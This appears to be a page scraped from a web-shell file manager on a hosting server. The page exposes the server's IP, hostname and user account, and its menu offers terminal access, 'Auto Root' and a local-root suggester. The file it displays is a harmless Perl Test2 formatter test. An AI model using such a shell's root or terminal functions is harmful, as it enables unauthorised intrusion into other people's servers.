Linux server1.hosting4iran.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.217.150
Domains : 326 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-Test-Simple /
t /
Test2 /
behavior /
Delete
Unzip
Name
Size
Permission
Date
Action
Formatter.t
1.64
KB
-rw-r--r--
2018-03-30 05:53
Subtest_buffer_formatter.t
2.62
KB
-rw-r--r--
2018-03-30 05:53
Subtest_callback.t
906
B
-rw-r--r--
2018-03-30 05:53
Subtest_events.t
441
B
-rw-r--r--
2018-03-30 05:53
Subtest_plan.t
355
B
-rw-r--r--
2018-03-30 05:53
Subtest_todo.t
932
B
-rw-r--r--
2018-03-30 05:53
Taint.t
356
B
-rw-r--r--
2018-03-30 05:53
disable_ipc_a.t
203
B
-rw-r--r--
2018-03-30 05:53
disable_ipc_b.t
219
B
-rw-r--r--
2018-03-30 05:53
disable_ipc_c.t
256
B
-rw-r--r--
2018-03-30 05:53
disable_ipc_d.t
458
B
-rw-r--r--
2018-03-30 05:53
err_var.t
177
B
-rw-r--r--
2018-03-30 05:53
init_croak.t
589
B
-rw-r--r--
2018-03-30 05:53
intercept.t
1.09
KB
-rw-r--r--
2018-03-30 05:53
ipc_wait_timeout.t
2.3
KB
-rw-r--r--
2018-03-30 05:53
nested_context_exception.t
2.09
KB
-rw-r--r--
2018-03-30 05:53
no_load_api.t
1.52
KB
-rw-r--r--
2018-03-30 05:53
run_subtest_inherit.t
2.21
KB
-rw-r--r--
2018-03-30 05:53
special_names.t
1.28
KB
-rw-r--r--
2018-03-30 05:53
subtest_bailout.t
1.15
KB
-rw-r--r--
2018-03-30 05:53
trace_signature.t
1.47
KB
-rw-r--r--
2018-03-30 05:53
uuid.t
3.33
KB
-rw-r--r--
2018-03-30 05:53
Save
Rename
use strict; use warnings; use Test2::Tools::Tiny; use Test2::API qw/intercept run_subtest test2_stack/; use Test2::Event::Bail; { package Formatter::Subclass; use base 'Test2::Formatter'; use Test2::Util::HashBase qw{f t}; sub init { my $self = shift; $self->{+F} = []; $self->{+T} = []; } sub write { } sub hide_buffered { 1 } sub terminate { my $s = shift; push @{$s->{+T}}, [@_]; } sub finalize { my $s = shift; push @{$s->{+F}}, [@_]; } } { my $f = Formatter::Subclass->new; intercept { my $hub = test2_stack->top; $hub->format($f); is(1, 1, 'test event 1'); is(2, 2, 'test event 2'); is(3, 2, 'test event 3'); done_testing; }; is(scalar @{$f->f}, 1, 'finalize method was called on formatter'); is_deeply( $f->f->[0], [3, 3, 1, 0, 0], 'finalize method received expected arguments' ); ok(!@{$f->t}, 'terminate method was not called on formatter'); } { my $f = Formatter::Subclass->new; intercept { my $hub = test2_stack->top; $hub->format($f); $hub->send(Test2::Event::Bail->new(reason => 'everything is terrible')); done_testing; }; is(scalar @{$f->t}, 1, 'terminate method was called because of bail event'); ok(!@{$f->f}, 'finalize method was not called on formatter'); } { my $f = Formatter::Subclass->new; intercept { my $hub = test2_stack->top; $hub->format($f); $hub->send(Test2::Event::Plan->new(directive => 'skip_all', reason => 'Skipping all the tests')); done_testing; }; is(scalar @{$f->t}, 1, 'terminate method was called because of plan skip_all event'); ok(!@{$f->f}, 'finalize method was not called on formatter'); } done_testing;